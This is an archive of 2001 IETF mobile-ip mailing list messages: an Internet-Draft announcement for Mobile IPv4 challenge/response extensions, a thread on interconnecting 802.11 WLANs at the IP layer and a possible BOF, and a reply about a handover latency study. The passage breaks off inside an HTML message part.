	Mon, 26 Nov 2001 16:16:43 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA23076;
	Mon, 26 Nov 2001 16:14:41 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAR0Cx1V004649
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 16:12:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAR0CxIo004648
	for mobile-ip-dist; Mon, 26 Nov 2001 16:12:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAR0Cn1X004626
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 16:12:50 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA19742
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 03:13:43 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA20508
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 04:14:05 -0700 (MST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA18901;
	Mon, 26 Nov 2001 06:13:31 -0500 (EST)
Message-Id: <200111261113.GAA18901@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-ietf-mobileip-rfc3012bis-00.txt
Date: Mon, 26 Nov 2001 06:13:31 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the IP Routing for Wireless/Mobile Hosts Working Group of the IETF.

	Title		: Mobile IPv4 Challenge/Response Extensions
	Author(s)	: C. Perkins, P. Calhoun
	Filename	: draft-ietf-mobileip-rfc3012bis-00.txt
	Pages		: 18
	Date		: 21-Nov-01
	
Mobile IP, as originally specified, defines an authentication
extension (the Mobile-Foreign Authentication extension) by
which a mobile node can authenticate itself to a foreign agent.
Unfortunately, this extension does not provide ironclad replay
protection for the foreign agent, and does not allow for the use
of existing techniques (such as CHAP) for authenticating portable
computer devices.  In this specification, we define extensions for
the Mobile IP Agent Advertisements and the Registration Request
that allow a foreign agent to use a challenge/response mechanism to
authenticate the mobile node.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mobileip-rfc3012bis-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mobileip-rfc3012bis-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mobileip-rfc3012bis-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011121140850.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mobileip-rfc3012bis-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mobileip-rfc3012bis-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011121140850.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 21:22:37 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA19982
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 21:22:37 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA06462;
	Mon, 26 Nov 2001 18:20:55 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA15953;
	Mon, 26 Nov 2001 18:19:29 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAR2Ie1V005198
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 18:18:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAR2IenF005197
	for mobile-ip-dist; Mon, 26 Nov 2001 18:18:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from eastmail2.East.Sun.COM (eastmail2.East.Sun.COM [129.148.1.241])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAR2Ib1V005190
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 18:18:37 -0800 (PST)
Received: from onion.east.sun.com (onion.East.Sun.COM [129.148.174.110])
	by eastmail2.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA10752
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 21:18:40 -0500 (EST)
Received: (from glass@localhost)
	by onion.east.sun.com (8.9.3+Sun/8.9.3) id VAA23417
	for mobile-ip@sunroof.eng.sun.com; Mon, 26 Nov 2001 21:19:14 -0500 (EST)
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQNUr1V003964
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:30:53 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA13017
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:30:56 -0800 (PST)
From: Barani_Subbiah@3com.com
Received: from topaz.3com.com (topaz.3com.com [192.156.136.158])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA11965
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 16:30:55 -0700 (MST)
Received: from opal.3com.com (opal.3com.com [139.87.50.117])
	by topaz.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fAQNO6h06792;
	Mon, 26 Nov 2001 15:24:06 -0800 (PST)
Received: from hqsmtp01.3com.com (hqsmtp01.ops.3com.com [139.87.49.79])
	by opal.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fAQNR7929999;
	Mon, 26 Nov 2001 15:27:07 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Cc: "'Pat R. Calhoun'" <pcalhoun@bstormnetworks.com>,
        "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>,
        "'Gary Kenward'" <gkenward@nortelnetworks.com>,
        "'kempf@docomolabs-usa.com'" <kempf@docomolabs-usa.com>,
        "'seamoby@cdma-2000.org'" <seamoby@cdma-2000.org>,
        "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Date: Mon, 26 Nov 2001 15:28:26 -0800
Subject: Re: [mobile-ip] RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Message-ID: <OFC16B5277.853E56A7-ON88256B10.008091B3@3com.com>
MIME-Version: 1.0
Content-type: multipart/mixed; 
	Boundary="0__=88256B10008091B38f9e8a93df938690918c88256B10008091B3"
Content-Disposition: inline
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--0__=88256B10008091B38f9e8a93df938690918c88256B10008091B3
Content-type: text/plain; charset=us-ascii



Sharif,

FYI.
IEEE is working on IAPP (Inter Access Point protocol) to handle AP mobility
(802.11F) and WECA is working on WLAN roaming issues (AAA) under WISPr
(wireless ISP roaming). Also, at the last IEEE meeting, WLAN NG (WNG) group
started to address further issues on inter technology handoff (WLAN-WWAN).

Barani.




"Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>
@sunroof.eng.sun.com on 11/26/2001 09:09:17 AM

Please respond to mobile-ip@sunroof.eng.sun.com

Sent by:  owner-mobile-ip@sunroof.eng.sun.com


To:   "'Pat R. Calhoun'" <pcalhoun@bstormnetworks.com>, "Shahrier, Sharif
      M." <Sharif.Shahrier@InterDigital.com>, "'Gary Kenward'"
      <gkenward@nortelnetworks.com>
cc:   "'kempf @docomolabs-usa.com'" <kempf@docomolabs-usa.com>, "'seamoby
      @cdma-2000.org'" <seamoby@cdma-2000.org>, "'mobile-ip
      @sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject:  [mobile-ip] RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt


No, MIP is not sufficient, in my oppinion. There are many other issues
involved when the MN changes its AP from one WLAN to another.

-          Fast, seamless handover.
-          Authentication and authorization.
-          Billing (especially if the two WLANs are controlled by different
operators).
-          Context transfer
-          Mobility management.
-          Quality-of-Service.

Now, the IETF has different protocol for these, but how they fit together
into the interworking problem should be looked at.

Also important, is to understand how the L2 functions in the WLANs
interoperate with the functions in the IP layer. Perhaps, some functions
are
better done in L2, while others in the IP layer .....

WLANs are going to be deployed more and more now, in campuses, enterprise
networks, and also in home networking. And how to interconnect them is of
great importance.

Thus, I believe, if there were sufficient interest from people, IETF should
consider taking an active role in attempting to understand ALL the issues
and decide what (if anything) to do.

Thus, a BOF session on "Interconnecting 802.11 in IP Layer"  is a small
step.

I am hoping to get a general feedback. Thanks.


-Sharif.

-----Original Message-----
From: Pat R. Calhoun [mailto:pcalhoun@bstormnetworks.com]
Sent: Monday, November 26, 2001 11:46 AM
To: 'Shahrier, Sharif M.'; 'Gary Kenward'
Cc: 'kempf@docomolabs-usa.com'
Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Sensitivity: Confidential


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Right so if MIP is sufficient, no BOF is required.

PatC
- -----Original Message-----
From: Shahrier, Sharif M. [ mailto:Sharif.Shahrier@InterDigital.com
<mailto:Sharif.Shahrier@InterDigital.com> ]
Sent: Monday, November 26, 2001 8:38 AM
To: Pat R. Calhoun; Shahrier, Sharif M.; 'Gary Kenward'
Cc: 'kempf@docomolabs-usa.com'
Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Sensitivity: Confidential

Well, an  interworking solution need not necessarily be  a radio
access network (RAN)  based solution. In fact, I have been
researching into what companies are doing to interwork different
types of networks, including 802.11. Most of them seem to be using
Mobile IP (RFC2002), with some extensions of their own.
As for IEEE, they just do L1 and L2, and nothing else.
- -Sharif.
The IESG would have zero interest on developing an air interface
specific solution, and IEEE shouldn't get involved in L3 and above.

See the problem :(

PatC
- - -----Original Message-----
From: Shahrier, Sharif M. [ mailto:Sharif.Shahrier@InterDigital.com
<mailto:Sharif.Shahrier@InterDigital.com> ]
Sent: Monday, November 26, 2001 8:19 AM
To: Pat R. Calhoun; Shahrier, Sharif M.; 'Gary Kenward'
Cc: 'kempf@docomolabs-usa.com'
Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Sensitivity: Confidential

As far as I know, the MWIF are currently looking into interconnecting
solutions for WLANs. Also, SA1 in 3GPP have a WI on interconnecting
UMTS and WLANs, so it may be interconnecting 802.11's are a sub-set
of that. What are the chances of requesting the IESG about forming an
ad-hoc at the next IETF meeting, and getting a favorable response
......?

- - -Sharif.

- - -----Original Message-----
From: Pat R. Calhoun [ mailto:pcalhoun@bstormnetworks.com
<mailto:pcalhoun@bstormnetworks.com> ]
Sent: Monday, November 26, 2001 11:07 AM
To: 'Shahrier, Sharif M.'; 'Gary Kenward'
Cc: 'kempf@docomolabs-usa.com'
Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Sensitivity: Confidential

- - -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
yes, I have particular interest in this area, but I am also not sure
that the standards body is the right place for this work.

PatC
- - - -----Original Message-----
 -

(attached file: C.htm removed due to length restrictions)
--0__=88256B10008091B38f9e8a93df938690918c88256B10008091B3--


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 02:26:07 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA15080
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 02:26:06 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA21583;
	Tue, 27 Nov 2001 00:24:46 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA00695;
	Mon, 26 Nov 2001 23:23:09 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAR7MY1V005699
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 23:22:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAR7MYsb005698
	for mobile-ip-dist; Mon, 26 Nov 2001 23:22:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAR7MU1V005691
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 23:22:31 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA08560
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 23:22:35 -0800 (PST)
From: john.loughney@nokia.com
Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA05166
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 23:22:33 -0800 (PST)
Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35])
	by mgw-x2.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fAR7NGA21047
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 09:23:16 +0200 (EET)
Received: from esebh25nok.ntc.nokia.com (unverified) by esvir03nok.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T577984f774ac158f2313c@esvir03nok.nokia.com>;
 Tue, 27 Nov 2001 09:21:51 +0200
Received: by esebh25nok with Internet Mail Service (5.5.2652.78)
	id <XP21Y6X2>; Tue, 27 Nov 2001 09:21:52 +0200
Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF5D91A3@esebe004.NOE.Nokia.com>
To: Sharif.Shahrier@InterDigital.com
Cc: seamoby@cdma-2000.org, mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Date: Tue, 27 Nov 2001 09:21:42 +0200
Sensitivity: Company-Confidential
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.78)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hello all,

Doesn't this all boil down to the applicability AAA, CT, MIP, NSIS
for seamless inter-operator, vertical handovers?  :)

Given the fact that many of the applicable protocols for such
a solution are not RFCs yet, I would like to suggest that such 
a solution is very interesting (for sure), but I think the
IETF would have a hard time standardizing such a beast.

Rather, I think getting about 10 smart engineers in a room
together for a couple of months could get a pretty impressive
demo together.

John


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 03:40:44 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA16712
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 03:40:43 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id AAA08721;
	Tue, 27 Nov 2001 00:39:26 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA16487;
	Tue, 27 Nov 2001 00:39:13 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAR8cL1V005928
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 00:38:21 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAR8cKct005927
	for mobile-ip-dist; Tue, 27 Nov 2001 00:38:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAR8cH1V005920
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 00:38:17 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA16426
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 00:38:18 -0800 (PST)
Received: from madrid.synad.com (wireless-074-041.tele2.co.uk [212.19.74.41])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA18656
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 01:38:08 -0700 (MST)
Received: from PARIS.synad.com (unverified) by madrid.synad.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T57795a101ad4134a290b9@madrid.synad.com> for <mobile-ip@sunroof.eng.sun.com>;
 Tue, 27 Nov 2001 08:35:00 +0000
Subject: RE: [mobile-ip] Analysis and Comparison of Low Latency MIPv4 Handover Algorithms
Date: Tue, 27 Nov 2001 08:36:54 -0000
Message-ID: <0D3F1B25E75EE24483A6E69201142C86194D43@PARIS.synad.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-MIMEOLE: Produced By Microsoft Exchange V6.0.4712.0
Thread-Topic: [mobile-ip] Analysis and Comparison of Low Latency MIPv4 Handover Algorithms
Thread-Index: AcF20Tmi5GI3x6vpQ2KCu4eh5IIpRgATVY8w
content-class: urn:content-classes:message
From: "Mike Moreton" <Mike.Moreton@synad.com>
To: <mobile-ip@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fAR8cH1V005921
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

Jak,

I don't think that can be the correct link...

Mike

> -----Original Message-----
> From: James Kempf [mailto:kempf@docomolabs-usa.com]
> Sent: 26 November 2001 21:27
> To: mobile-ip@sunroof.eng.sun.com
> Subject: [mobile-ip] Analysis and Comparison of Low Latency MIPv4
> Handover Algorithms
> 
> 
> Folks,
> 
> Jon Wood and I did a study comparing PreReg, Postreg, and 
> standard MIPv4
> (SMIPv4) handoff. It is at http://www.geocities.com/llanalysis.pdf (it
> will shortly also appear at the DoCoMo Labs USA web site as well).
> Apologies for the paper format, but it is difficult to get fine
> depiction of experimental results in graphs using ASCII text. 
> The study
> describes implementation experience with the 2 low latency algorithms
> (some of which Jon has already posted to the list), and a series of
> experiments we performed to measure the sensitivity of all three
> algorithms to various components of handoff latency. Issues 
> arising from
> the study will be discussed in a slot at the Mobile IP Working Group
> Meeting at IETF 52. If you have any specific issues on the 
> study itself
> or the paper, please post them to the list.
> 
>                     jak
> 
> 


**********************************************************************
This email and any files transmitted with it are confidential and
intended solely for the use of the individual or entity to whom they
are addressed. If you have received this email in error please notify
the system manager.

This footnote also confirms that this email message has been swept 
for the presence of computer viruses.

administrator at synad.com
**********************************************************************


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 09:49:36 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA00828
	for <mobileip-archive@lists.ietf.org>; Tue, 27 Nov 2001 09:49:35 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA14497;
	Tue, 27 Nov 2001 06:48:10 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA15236;
	Tue, 27 Nov 2001 06:47:30 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAREkW1V006346
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 06:46:32 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAREkVe7006345
	for mobile-ip-dist; Tue, 27 Nov 2001 06:46:31 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAREkS1V006338
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 06:46:28 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA15069
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 06:46:28 -0800 (PST)
Received: from idcpa4.pa.interdigital.com ([12.32.197.142])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA04124
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 07:46:27 -0700 (MST)
Received: by idcpa4.pa.interdigital.com with Internet Mail Service (5.5.2653.19)
	id <RN0958A3>; Tue, 27 Nov 2001 09:45:19 -0500
Message-ID: <A1170612471BD21185B90008C7FA0A0D0327F9C0@idcpa4.pa.interdigital.com>
From: "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>
To: "'Carl Williams'" <carlw@docomolabs-usa.com>,
        mobile-ip@sunroof.eng.sun.com,
        "Shahrier, Sharif M."
	 <Sharif.Shahrier@InterDigital.com>
Cc: seamoby@cdma-2000.org
Subject: RE: [mobile-ip] RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Date: Tue, 27 Nov 2001 09:45:18 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C17752.2231FED0"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C17752.2231FED0
Content-Type: text/plain;
	charset="iso-8859-1"

I was informed by the chair that we need an AD to sponsor such a BOF,
however I don't know if any AD is interested.
Perhaps if an AD is interested, he can get in touch.
 
-Sharif.
 
No, MIP is not sufficient, in my oppinion. There are many other issues
involved when the MN changes its AP from one WLAN to another. 
 
-          Fast, seamless handover.
-          Authentication and authorization.
-          Billing (especially if the two WLANs are controlled by different
operators).
-          Context transfer
-          Mobility management.
-          Quality-of-Service.
 
Now, the IETF has different protocol for these, but how they fit together
into the interworking problem should be looked at.
 
Also important, is to understand how the L2 functions in the WLANs
interoperate with the functions in the IP layer. Perhaps, some functions are
better done in L2, while others in the IP layer .....
 
WLANs are going to be deployed more and more now, in campuses, enterprise
networks, and also in home networking. And how to interconnect them is of
great importance.
 
Thus, I believe, if there were sufficient interest from people, IETF should
consider taking an active role in attempting to understand ALL the issues
and decide what (if anything) to do.
 
Thus, a BOF session on "Interconnecting 802.11 in IP Layer"  is a small
step.
 
Shahrier,
 
Is there plans for such a BOF?
 
Carl
 
 

------_=_NextPart_001_01C17752.2231FED0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 9">
<meta name=3DOriginator content=3D"Microsoft Word 9">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C17729.01714710">
<title>RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt</title>
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:Zoom>0</w:Zoom>
